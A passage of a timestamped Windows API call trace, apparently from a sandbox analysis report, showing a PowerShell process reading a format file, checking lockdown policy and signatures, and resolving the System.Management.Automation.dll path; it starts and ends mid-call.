lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x4c2, lpOverlapped=0x0) returned 1 [0094.746] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x464c2 [0094.746] ReadFile (in: hFile=0x528, lpBuffer=0x6b63976, nNumberOfBytesToRead=0x33e, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b63976*, lpNumberOfBytesRead=0x427e180*=0x0, lpOverlapped=0x0) returned 1 [0094.746] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x464c2 [0094.746] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x0, lpOverlapped=0x0) returned 1 [0094.749] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0094.750] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0094.750] CoTaskMemFree (pv=0x42c9ac0) [0094.750] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dbe8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0094.750] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dc64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0094.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0c4) returned 1 [0094.750] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e140 | out: lpFileInformation=0x427e140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0094.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0c0) returned 1 [0094.750] WldpGetLockdownPolicy () returned 0x0 [0094.751] GetSystemInfo (in: lpSystemInfo=0x427e16c | out: lpSystemInfo=0x427e16c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0094.751] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e0f8 | out: phkResult=0x427e0f8*=0x6f0) returned 0x0 [0094.751] RegQueryValueExW (in: hKey=0x6f0, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e114, lpData=0x0, lpcbData=0x427e110*=0x0 | out: lpType=0x427e114*=0x0, lpData=0x0, lpcbData=0x427e110*=0x0) returned 0x2 [0094.751] RegCloseKey (hKey=0x6f0) returned 0x0 [0094.751] CloseHandle (hObject=0x528) returned 1 [0094.751] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dc64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0094.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0fc) returned 1 [0094.751] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x6bf3718 | out: lpFileInformation=0x6bf3718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dbc0e8, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8dbc0e8, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8dbc0e8, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x464c2)) returned 1 [0094.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0f8) returned 1 [0094.752] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dbcc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0094.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e02c) returned 1 [0094.752] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e0a8 | out: lpFileInformation=0x427e0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dbc0e8, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8dbc0e8, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8dbc0e8, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x464c2)) returned 1 [0094.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e028) returned 1 [0094.752] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0094.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427dff4) returned 1 [0094.752] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0094.752] GetFileType (hFile=0x528) returned 0x1 [0094.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427dff0) returned 1 [0094.752] GetFileType (hFile=0x528) returned 0x1 [0094.752] WTGetSignatureInfo () returned 0x0 [0094.813] CertDuplicateCertificateContext (pCertContext=0x8c42a50) returned 0x8c42a50 [0094.813] CoTaskMemAlloc (cb=0x10) returned 0x8c08eb8 [0094.813] CoTaskMemAlloc (cb=0x30) returned 0x8bf7018 [0094.813] WinVerifyTrust () returned 0x0 [0094.814] CoTaskMemFree (pv=0x8bf7018) [0094.814] CoTaskMemFree (pv=0x8c08eb8) [0094.814] CertFreeCertificateContext (pCertContext=0x8c42a50) returned 1 [0094.814] CloseHandle (hObject=0x528) returned 1 [0094.823] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0094.823] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0094.824] CoTaskMemFree (pv=0x42c9ac0) [0094.824] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dc5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0094.824] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dcd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0094.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e138) returned 1 [0094.824] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e1b4 | out: lpFileInformation=0x427e1b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0094.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e134) returned 1 [0094.824] WldpGetLockdownPolicy () returned 0x0 [0094.824] GetSystemInfo (in: lpSystemInfo=0x427e1e0 | out: lpSystemInfo=0x427e1e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0094.824] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e16c | out: phkResult=0x427e16c*=0x528) returned 0x0 [0094.825] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e188, lpData=0x0, lpcbData=0x427e184*=0x0 | out: lpType=0x427e188*=0x0, lpData=0x0, lpcbData=0x427e184*=0x0) returned 0x2 [0094.825] RegCloseKey (hKey=0x528) returned 0x0 [0094.825] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x81565eb6, Data2=0xca96, Data3=0x47d4, Data4=([0]=0xba, [1]=0x1d, [2]=0xc3, [3]=0xb9, [4]=0xfc, [5]=0x1e, [6]=0x23, [7]=0xfc))) returned 0x0 [0094.825] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x1442f05d, Data2=0x75ae, Data3=0x4da2, Data4=([0]=0x86, [1]=0x1b, [2]=0x33, [3]=0xf7, [4]=0x6d, [5]=0x46, [6]=0xdb, [7]=0xbf))) returned 0x0 [0094.825] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.849] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.850] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xe88a675c, Data2=0x7a61, Data3=0x4dab, Data4=([0]=0x95, [1]=0x7c, [2]=0x1b, [3]=0xa8, [4]=0x71, [5]=0xc4, [6]=0xbf, [7]=0x91))) returned 0x0 [0094.850] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.850] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.850] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.850] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.850] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.850] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.851] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.851] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.851] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.851] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.851] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x714134e8, Data2=0x6743, Data3=0x4ddb, Data4=([0]=0xad, [1]=0x8d, [2]=0xf8, [3]=0x39, [4]=0x56, [5]=0xf0, [6]=0x67, [7]=0x98))) returned 0x0 [0094.851] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.851] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.852] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.852] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.852] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.852] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.853] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.853] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d854, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.853] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.853] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.853] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.853] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.853] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x9e3f6e32, Data2=0x6bba, Data3=0x4eb6, Data4=([0]=0xba, [1]=0x17, [2]=0x13, [3]=0x38, [4]=0xc2, [5]=0xec, [6]=0xff, [7]=0x88))) returned 0x0 [0094.854] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.854] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.854] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x6c330d95, Data2=0x65dc, Data3=0x4b16, Data4=([0]=0x84, [1]=0x2f, [2]=0xe8, [3]=0x83, [4]=0x5f, [5]=0xb1, [6]=0x8f, [7]=0x4))) returned 0x0 [0094.854] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.854] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.854] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.855] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.855] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.855] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.855] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.855] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d3a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.855] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d3a4, 